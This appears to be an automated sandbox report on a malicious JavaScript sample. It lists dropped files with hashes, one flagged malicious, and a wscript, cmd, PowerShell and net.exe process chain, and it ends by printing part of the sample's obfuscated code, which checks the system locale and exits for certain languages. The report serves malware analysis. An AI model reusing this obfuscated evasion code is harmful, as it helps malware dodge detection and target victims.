SHA-256: | BE7AF5448CA2DFE983C1BE31E68B5563916E30EC9D10BC8F6BEB0A44B56F0856 |
SHA-512: | 887E0A3371DAFDE9347A5F20179C90825F9723A15087EE0E2BDF3689F98CB4BEC5BE053B7964927800264E2E2742504D0E1F94318ED9DDA34F031DE4A8EA6F82 |
Malicious: | false |
Preview: |
C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards
Download File
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 286 |
Entropy (8bit): | 5.272183187792186 |
Encrypted: | false |
SSDEEP: | 6:YEQXJ2HXYSEjBGnZiQ0YgQTVR1oAvJfshHHrPeUkwRe9:YvXKX8dGcGRqGUUUkee9 |
MD5: | 54A2D500E1CD9EB4FE64B9D3433844CA |
SHA1: | 8B2ED5DC49F1C1C94E08E9B29748A0BFEBBD2E88 |
SHA-256: | AC9F3E2C87183557E39508CC9E6A495A67B89F8485DCF16E79D4CEE891E8B812 |
SHA-512: | 9F66410DEBC3A27DAC7E8C71F95E155E6AA5B71F8DE15D5C44867883FA9BFBAAA99C0C0DC9BCF0287D00E166BBF95978252E5098E7E557C6F391EB851B7D96AF |
Malicious: | false |
Preview: |
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 282 |
Entropy (8bit): | 5.276973279639827 |
Encrypted: | false |
SSDEEP: | 6:YEQXJ2HXYSEjBGnZiQ0YgQTVR1oAvJTqgFCrPeUkwRe9:YvXKX8dGcGRqGTq16Ukee9 |
MD5: | AD81D3965E80FC2C778E2BB5886CB5FD |
SHA1: | C93AFA3EAAF0CE069A697A68004156D54EB5CA07 |
SHA-256: | B2E65CE5E515EA16C92EC4E012FF5FF7AE8A42DAFA21DB22F74AF37F3F6B4844 |
SHA-512: | 7E9C5FCD13A7AD18DC59CC849E44F077AD8E53B6C64F84D488319E593999235F796D657E214C39C33051D8BEFB196A8AB5D70468EDDB1E2158130AA5BC32EB39 |
Malicious: | false |
Preview: |
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 4 |
Entropy (8bit): | 0.8112781244591328 |
Encrypted: | false |
SSDEEP: | 3:e:e |
MD5: | DC84B0D741E5BEAE8070013ADDCC8C28 |
SHA1: | 802F4A6A20CBF157AAF6C4E07E4301578D5936A2 |
SHA-256: | 81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06 |
SHA-512: | 65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71 |
Malicious: | false |
Preview: |
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 2814 |
Entropy (8bit): | 5.142412276001516 |
Encrypted: | false |
SSDEEP: | 24:Y8nleaB+6GayCORUcXWbXq34SqvED1j82j0S3xUb2DS5r2LSpCBse6hk5Xh9pk7j:Y4TJzk3d8ItyJ7OseBRh9g |
MD5: | 1784A7E5F73BAA8726A42ABA75B642C2 |
SHA1: | 283D2EB283317CD94E7A88F54058D61B1D64D94A |
SHA-256: | 05A4497F2B3CC566AA28BFC61F34AFF316607F9381FCC038249E6A00989DFAC7 |
SHA-512: | DA524C6EE196F127D3E63887B7ED3ABEF09D982B034CE182464FB1F2E1379F9DF756E4B47E11C05BBAF8BD7054D877AE44406B3A3F4E5E4F043B418B610A29F1 |
Malicious: | false |
Preview: |
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 12288 |
Entropy (8bit): | 1.1452882155799406 |
Encrypted: | false |
SSDEEP: | 24:TLhx/XYKQvGJF7ursBrnRZXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUud2:TFl2GL7msBvXc+XcGNFlRYIX2v3kvB |
MD5: | 886F32ACA44E7EA419AB5262E0FFCC1D |
SHA1: | B9AEA03E333FD5AC394A506A1B48FB006E32408D |
SHA-256: | 20A395CB6339E94B7EAA2949BFDA7670FCBC00659B10E5275820BD69AA94541E |
SHA-512: | 3D525DCF75166AB4D3B3EE15282F5AD8CE9FF20EC97352C2B92419273F3F7DA8A5A5771E64F2BA341173DBCFAD2DBB1E7680FCD59CB78C00516917E988B84EC5 |
Malicious: | false |
Preview: |
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 8720 |
Entropy (8bit): | 1.549664870873238 |
Encrypted: | false |
SSDEEP: | 24:7+t7rnUXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcHRuLuxmqLxx/XYo:7M7YXc+XcGNFlRYIX2vHqVl2GL7msJ |
MD5: | A1A0F190B50BBD8CEA7B5A0F8AB787C1 |
SHA1: | 4F64365311B2A79184B1ED3BE3B729E3E2C4F854 |
SHA-256: | C792098099FEDAED96F67A856AC4F337D1C83491B7DB3A7DCABEE10E69C3A4F7 |
SHA-512: | 27CA1010826AD395C4922577B2BDB084BE16D969D24472109AF3AB19D3F407EB2126E9E93B9BFE719A9BE02792819DB1E9CF3366A65014777856814EB9D29676 |
Malicious: | false |
Preview: |
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 66726 |
Entropy (8bit): | 5.392739213842091 |
Encrypted: | false |
SSDEEP: | 768:RNOpblrU6TBH44ADKZEgNpTxN8IO1/xuBQ2oHphFHPuAGYyu:6a6TZ44ADENpTxN84BQJh1udK |
MD5: | 9A947446C8A40F508A4AB9AC96EF5EC0 |
SHA1: | 54A5365FF706C990B7FB47190D7A38C6D039F349 |
SHA-256: | D14B526AFDDE9671FC67D0077619EE8EC99829E51FF2CC008E6BA8C84064DB5B |
SHA-512: | DDDDBDC83E685188F950CECE412ABA3D435873AA356C3F11CA814BF534E7EFBBCAD43AC075474FD3670E3861B8C524E5926A090716E5E1B4B2318883F5F68AF0 |
Malicious: | false |
Preview: |
C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Download File
Process: | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 64 |
Entropy (8bit): | 1.1940658735648508 |
Encrypted: | false |
SSDEEP: | 3:Nlllulbnolz:NllUc |
MD5: | F23953D4A58E404FCB67ADD0C45EB27A |
SHA1: | 2D75B5CACF2916C66E440F19F6B3B21DFD289340 |
SHA-256: | 16F994BFB26D529E4C28ED21C6EE36D4AFEAE01CEEB1601E85E0E7FDFF4EFA8B |
SHA-512: | B90BFEC26910A590A367E8356A20F32A65DB41C6C62D79CA0DDCC8D95C14EB48138DEC6B992A6E5C7B35CFF643063012462DA3E747B2AA15721FE2ECCE02C044 |
Malicious: | false |
Preview: |
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 246 |
Entropy (8bit): | 3.499838153709141 |
Encrypted: | false |
SSDEEP: | 6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClEG:Qw946cPbiOxDlbYnuRK+bDG |
MD5: | 8111F10A9209CA2671F41AA5D1F60061 |
SHA1: | FCF528D6BE84BBCEFFE1C31CF06EF573829C11A4 |
SHA-256: | 0FAE6C66EAFC2AD34BEE96C246ADEF995066718B93C53730A6788212EAC9B6F2 |
SHA-512: | 752568D13B262227C883DBD9B75F36CA0A6D3B119D13810C720D10E9A5478A2FE95330D9F67BDB015CFE6FCE40FB44B603A2647CD1DD25EFAE79A15B094BBB2E |
Malicious: | false |
Preview: |
Process: | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 60 |
Entropy (8bit): | 4.038920595031593 |
Encrypted: | false |
SSDEEP: | 3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX |
MD5: | D17FE0A3F47BE24A6453E9EF58C94641 |
SHA1: | 6AB83620379FC69F80C0242105DDFFD7D98D5D9D |
SHA-256: | 96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 |
SHA-512: | 5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82 |
Malicious: | false |
Preview: |
Process: | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 60 |
Entropy (8bit): | 4.038920595031593 |
Encrypted: | false |
SSDEEP: | 3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX |
MD5: | D17FE0A3F47BE24A6453E9EF58C94641 |
SHA1: | 6AB83620379FC69F80C0242105DDFFD7D98D5D9D |
SHA-256: | 96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 |
SHA-512: | 5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82 |
Malicious: | false |
Preview: |
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 144514 |
Entropy (8bit): | 7.992637131260696 |
Encrypted: | true |
SSDEEP: | 3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL |
MD5: | BA1716D4FB435DA6C47CE77E3667E6A8 |
SHA1: | AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF |
SHA-256: | AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D |
SHA-512: | 65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD |
Malicious: | false |
Preview: |
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 144514 |
Entropy (8bit): | 7.992637131260696 |
Encrypted: | true |
SSDEEP: | 3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL |
MD5: | BA1716D4FB435DA6C47CE77E3667E6A8 |
SHA1: | AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF |
SHA-256: | AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D |
SHA-512: | 65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD |
Malicious: | false |
Preview: |
C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 11-19-18-920.log
Download File
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 16525 |
Entropy (8bit): | 5.338264912747007 |
Encrypted: | false |
SSDEEP: | 384:lH4ZASLaTgKoBKkrNdOZTfUY9/B6u6AJ8dbBNrSVNspYiz5LkiTjgjQLhDydAY8s:kIb |
MD5: | 128A51060103D95314048C2F32A15C66 |
SHA1: | EEB64761BE485729CD12BF4FBF7F2A68BA1AD7DB |
SHA-256: | 601388D70DFB723E560FEA6AE08E5FEE8C1A980DF7DF9B6C10E1EC39705D4713 |
SHA-512: | 55099B6F65D6EF41BC0C077BF810A13BA338C503974B4A5F2AA8EB286E1FCF49DF96318B1DA691296FB71AA8F2A2EA1406C4E86F219B40FB837F2E0BF208E677 |
Malicious: | false |
Preview: |
C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log
Download File
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 15114 |
Entropy (8bit): | 5.361307811570769 |
Encrypted: | false |
SSDEEP: | 384:drHy/SPq/L4QNz9/X/NAu4v+W56a6jvbwzu6w8QoIZBFfEWbTUXgRWRwZrNolYgg:yTD |
MD5: | 69BA304640E583928ED01941314DB570 |
SHA1: | AF94DF3A2C81BF71EC4D2588F1BEAA66EC4E0A7B |
SHA-256: | 3CA6E534FB3FBD256C2F524FE474B335A478489507DCDB9495621217D0DBE0DC |
SHA-512: | 2947D092CE26307F8A233CEE46813FDD60872B45BA1BC6951FF741C137A42F504D15E58F7B51D894CFBABB8CBFD7526D0A80BDB936B15262FD1AD52EBF14955A |
Malicious: | false |
Preview: |
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 29752 |
Entropy (8bit): | 5.404513327932029 |
Encrypted: | false |
SSDEEP: | 192:acb4I3dcbPcbaIO4cbYcbqnIdjcb6acbaIewcbw4cbmCDsdItHcb1:V3fOCIdJDemACDs6to |
MD5: | 2533DADDCCB4710F582E80C0E180AC3B |
SHA1: | 62FA317B13E3D3E84F76D2B6E368B7C60628F551 |
SHA-256: | DE1E0F38289E54197E275ADFA36F0DA8B1123519874529FA6EB1E96BBE79C4C3 |
SHA-512: | 4D6AF12DF3772AB5DDFDF3AFFC1294B1F00248B8350A1AA9B5E2CFAD5380FED50D49BAA1BCCA5618E8645B937DBECAF9B1F5C6D5A7E8800B945E12B9FD6F9DB7 |
Malicious: | false |
Preview: |
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 1419751 |
Entropy (8bit): | 7.976496077007677 |
Encrypted: | false |
SSDEEP: | 24576:/xVwYIGNPoeWL07oYGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwZG7WLxYGZN3mlind9i4ufFXpAXkru |
MD5: | 595D52F056D9D1FF19D516F23C677369 |
SHA1: | 463739610C6108B2A704D1483FB4CBC88C026D47 |
SHA-256: | 05CC4FC8F7F02ECBC2C67933B998CC5A281DBD2CA4205460731AFDBAE42BF72A |
SHA-512: | DB58A87B6BB916D9E7CD63248F2FD8B6F3131974C8DB8ED9D3B86A74EA060602A58B9743BFF5763785F5BCC4C6E1A11AF80B7144264AD178B553232C42A55040 |
Malicious: | false |
Preview: |
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 758601 |
Entropy (8bit): | 7.98639316555857 |
Encrypted: | false |
SSDEEP: | 12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg |
MD5: | 3A49135134665364308390AC398006F1 |
SHA1: | 28EF4CE5690BF8A9E048AF7D30688120DAC6F126 |
SHA-256: | D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B |
SHA-512: | BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5 |
Malicious: | false |
Preview: |
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 1407294 |
Entropy (8bit): | 7.97605879016224 |
Encrypted: | false |
SSDEEP: | 24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDYYIGNPpe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZQ |
MD5: | E139E6D53A958755742760CD4A4456CB |
SHA1: | C259B619917152498BF74F65E11D03B50E4F80F1 |
SHA-256: | 542A482DF531973AFE108199E6DF1200DB2590E2E2F7B73C5CD428066EF9138E |
SHA-512: | 36222C1C5AD31244D808331760A7BEA22C20F3664709D0786260B538578CA184EF2634E844D682B92DEA9ACDEF3EA700B1C7C4972BE97B8C80ADF3945A92858B |
Malicious: | false |
Preview: |
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 386528 |
Entropy (8bit): | 7.9736851559892425 |
Encrypted: | false |
SSDEEP: | 6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m |
MD5: | 5C48B0AD2FEF800949466AE872E1F1E2 |
SHA1: | 337D617AE142815EDDACB48484628C1F16692A2F |
SHA-256: | F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE |
SHA-512: | 44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324 |
Malicious: | false |
Preview: |
Process: | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 635764 |
Entropy (8bit): | 7.929592005409041 |
Encrypted: | false |
SSDEEP: | 12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ |
MD5: | 91A2AF9E2A61ABF7D9977999FBF9879E |
SHA1: | F6E4FA02DD15B27F74553FB1B220A4D2DF385267 |
SHA-256: | FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A |
SHA-512: | 8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C |
Malicious: | true |
Preview: |
C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl
Download File
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 98682 |
Entropy (8bit): | 6.445287254681573 |
Encrypted: | false |
SSDEEP: | 1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L |
MD5: | 7113425405A05E110DC458BBF93F608A |
SHA1: | 88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF |
SHA-256: | 7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46 |
SHA-512: | 6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D |
Malicious: | false |
Preview: |
C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl
Download File
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 737 |
Entropy (8bit): | 7.501268097735403 |
Encrypted: | false |
SSDEEP: | 12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa |
MD5: | 5274D23C3AB7C3D5A4F3F86D4249A545 |
SHA1: | 8A3778F5083169B281B610F2036E79AEA3020192 |
SHA-256: | 8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97 |
SHA-512: | FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574 |
Malicious: | false |
Preview: |
Process: | C:\Windows\System32\svchost.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 55 |
Entropy (8bit): | 4.306461250274409 |
Encrypted: | false |
SSDEEP: | 3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y |
MD5: | DCA83F08D448911A14C22EBCACC5AD57 |
SHA1: | 91270525521B7FE0D986DB19747F47D34B6318AD |
SHA-256: | 2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9 |
SHA-512: | 96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA |
Malicious: | false |
Preview: |
File type: | |
Entropy (8bit): | 4.911156705298473 |
TrID: | |
File name: | 18938150912509528417.js |
File size: | 23'031 bytes |
MD5: | 07470c7f68b086f1d083ac2b7c25ff32 |
SHA1: | d75cb25dc5d1b5098d933566b4a8a01d27e7512c |
SHA256: | e235affed55f51cb13ecdede9659fe339a78bfb52b8202e21979c1cdaa85f390 |
SHA512: | 4b1208c7d49a8ad2e3fda97514d71412c61769262b074bfd635a42b56baa20c42914f7e49529cbfe1504c32591d8df8520b1918f82b5303d234bda130a19b847 |
SSDEEP: | 384:Ih2uSSVrjL2uSWANvq9g7nCU0nEFvR42e5Ydop5jeW9YUqwM8ZlBVW9Ams0o38BT:Ih2uFVrjL2u9AXrCUCSRRe5Ydop1l9YJ |
TLSH: | F3A2328BD40AD29EC7D003D8498F5F47A17C264DCA34823D28BA5E8192E7365FAF6375 |
File Content Preview: | function uwmqjfai(){uhzuo=[1031,3079,5127,4103,2055,3072];var uvfxemo=this[nahiwic+crkix+ecuvyftpo+pzxuf+xosrfzwlf+qpauemx+zfjnnqj+ycocvilen](this[sflflvpw+ekgxee+iyqdvsp+ecuvyftpo+suurq+nahiwic+ycocvilen][wkpcwi+ecuvyftpo+xosrfzwlf+crkix+ycocvilen+xosrfz |
Icon Hash: | 68d69b8bb6aa9a86 |
Click to jump to process
Click to jump to process
back
Click to dive into process behavior distribution
Click to jump to process
Target ID: | 0 |
Start time: | 11:19:10 |
Start date: | 10/01/2025 |
Path: | C:\Windows\System32\wscript.exe |
Wow64 process (32bit): | false |
Commandline: | |
Imagebase: | 0x7ff772770000 |
File size: | 170'496 bytes |
MD5 hash: | A47CBE969EA935BDD3AB568BB126BC80 |
Has elevated privileges: | false |
Has administrator privileges: | false |
Programmed in: | C, C++ or other language |
Reputation: | high |
Has exited: | true |
Target ID: | 2 |
Start time: | 11:19:10 |
Start date: | 10/01/2025 |
Path: | C:\Windows\System32\cmd.exe |
Wow64 process (32bit): | false |
Commandline: | |
Imagebase: | 0x7ff6b1bb0000 |
File size: | 289'792 bytes |
MD5 hash: | 8A2122E8162DBEF04694B9C3E0B6CDEE |
Has elevated privileges: | false |
Has administrator privileges: | false |
Programmed in: | C, C++ or other language |
Reputation: | high |
Has exited: | true |
Target ID: | 3 |
Start time: | 11:19:11 |
Start date: | 10/01/2025 |
Path: | C:\Windows\System32\conhost.exe |
Wow64 process (32bit): | false |
Commandline: | |
Imagebase: | 0x7ff66e660000 |
File size: | 862'208 bytes |
MD5 hash: | 0D698AF330FD17BEE3BF90011D49251D |
Has elevated privileges: | false |
Has administrator privileges: | false |
Programmed in: | C, C++ or other language |
Reputation: | high |
Has exited: | true |
Target ID: | 4 |
Start time: | 11:19:11 |
Start date: | 10/01/2025 |
Path: | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Wow64 process (32bit): | false |
Commandline: | |
Imagebase: | 0x7ff6e3d50000 |
File size: | 452'608 bytes |
MD5 hash: | 04029E121A0CFA5991749937DD22A1D9 |
Has elevated privileges: | false |
Has administrator privileges: | false |
Programmed in: | C, C++ or other language |
Reputation: | high |
Has exited: | true |
Target ID: | 5 |
Start time: | 11:19:15 |
Start date: | 10/01/2025 |
Path: | C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe |
Wow64 process (32bit): | false |
Commandline: | |
Imagebase: | 0x7ff651090000 |
File size: | 5'641'176 bytes |
MD5 hash: | 24EAD1C46A47022347DC0F05F6EFBB8C |
Has elevated privileges: | false |
Has administrator privileges: | false |
Programmed in: | C, C++ or other language |
Reputation: | high |
Has exited: | false |
Target ID: | 6 |
Start time: | 11:19:15 |
Start date: | 10/01/2025 |
Path: | C:\Windows\System32\cmd.exe |
Wow64 process (32bit): | false |
Commandline: | |
Imagebase: | 0x7ff6b1bb0000 |
File size: | 289'792 bytes |
MD5 hash: | 8A2122E8162DBEF04694B9C3E0B6CDEE |
Has elevated privileges: | false |
Has administrator privileges: | false |
Programmed in: | C, C++ or other language |
Reputation: | high |
Has exited: | true |
Target ID: | 7 |
Start time: | 11:19:15 |
Start date: | 10/01/2025 |
Path: | C:\Windows\System32\net.exe |
Wow64 process (32bit): | false |
Commandline: | |
Imagebase: | 0x7ff6ff380000 |
File size: | 59'904 bytes |
MD5 hash: | 0BD94A338EEA5A4E1F2830AE326E6D19 |
Has elevated privileges: | false |
Has administrator privileges: | false |
Programmed in: | C, C++ or other language |
Reputation: | high |
Has exited: | true |
Target ID: | 8 |
Start time: | 11:19:16 |
Start date: | 10/01/2025 |
Path: | C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe |
Wow64 process (32bit): | false |
Commandline: | |
Imagebase: | 0x7ff70df30000 |
File size: | 3'581'912 bytes |
MD5 hash: | 9B38E8E8B6DD9622D24B53E095C5D9BE |
Has elevated privileges: | false |
Has administrator privileges: | false |
Programmed in: | C, C++ or other language |
Reputation: | high |
Has exited: | false |
Target ID: | 9 |
Start time: | 11:19:16 |
Start date: | 10/01/2025 |
Path: | C:\Windows\System32\svchost.exe |
Wow64 process (32bit): | false |
Commandline: | |
Imagebase: | 0x7ff7403e0000 |
File size: | 55'320 bytes |
MD5 hash: | B7F884C1B74A263F746EE12A5F7C9F6A |
Has elevated privileges: | true |
Has administrator privileges: | true |
Programmed in: | C, C++ or other language |
Reputation: | high |
Has exited: | false |
Target ID: | 10 |
Start time: | 11:19:16 |
Start date: | 10/01/2025 |
Path: | C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe |
Wow64 process (32bit): | false |
Commandline: | |
Imagebase: | 0x7ff70df30000 |
File size: | 3'581'912 bytes |
MD5 hash: | 9B38E8E8B6DD9622D24B53E095C5D9BE |
Has elevated privileges: | false |
Has administrator privileges: | false |
Programmed in: | C, C++ or other language |
Has exited: | false |
Call Graph
Graph
- Executed
- Not Executed
Script: |
---|
Code | ||
---|---|---|
0 | function uwmqjfai() { |
|
1 | uhzuo = [ 1031, 3079, 5127, 4103, 2055, 3072 ]; | |
2 | var uvfxemo = this[nahiwic + crkix + ecuvyftpo + pzxuf + xosrfzwlf + qpauemx + zfjnnqj + ycocvilen] ( this[sflflvpw + ekgxee + iyqdvsp + ecuvyftpo + suurq + nahiwic + ycocvilen][wkpcwi + ecuvyftpo + xosrfzwlf + crkix + ycocvilen + xosrfzwlf + ucmvu + qxanosjw + ygnzbhp + xosrfzwlf + iyqdvsp + ycocvilen] ( sflflvpw + ekgxee + iyqdvsp + ecuvyftpo + suurq + nahiwic + ycocvilen + sypzvbpp + ekgxee + wtdui + xosrfzwlf + klpft + klpft ) [oamdbwvo + xosrfzwlf + ikbdhduw + oamdbwvo + xosrfzwlf + crkix + vyfupchvv] ( lqgcgrtp + bimujwv + tevvaz + aqqesilbz + livkvmrfn + wkpcwi + ucyiey + oamdbwvo + oamdbwvo + tevvaz + mdtvi + xocwkf + livkvmrfn + ucyiey + ekgxee + tevvaz + oamdbwvo + lkoihh + wkpcwi + ngtkg + zfjnnqj + ycocvilen + ecuvyftpo + ngtkg + klpft + cofykiy + tacazl + crkix + zfjnnqj + xosrfzwlf + klpft + lkoihh + qpauemx + zfjnnqj + ycocvilen + xosrfzwlf + ecuvyftpo + zfjnnqj + crkix + ycocvilen + suurq + ngtkg + zfjnnqj + crkix + klpft + lkoihh + mhfmvafj + ngtkg + iyqdvsp + crkix + klpft + xosrfzwlf ), 16 ); |
|
3 | for ( ywyppta = 0 ; ywyppta < uhzuo[klpft + xosrfzwlf + zfjnnqj + ikbdhduw + ycocvilen + wtdui] ; ++ ywyppta ) | |
4 | { | |
5 | if ( uvfxemo == uhzuo[ywyppta] ) | |
6 | { | |
7 | uvfxemo = true; | |
8 | break ; | |
9 | } | |
10 | } | |
11 | if ( uvfxemo !== true ) | |
12 | this[sflflvpw + ekgxee + iyqdvsp + ecuvyftpo + suurq + nahiwic + ycocvilen][mengyxdje + ruczaonm + suurq + ycocvilen] ( ); | |
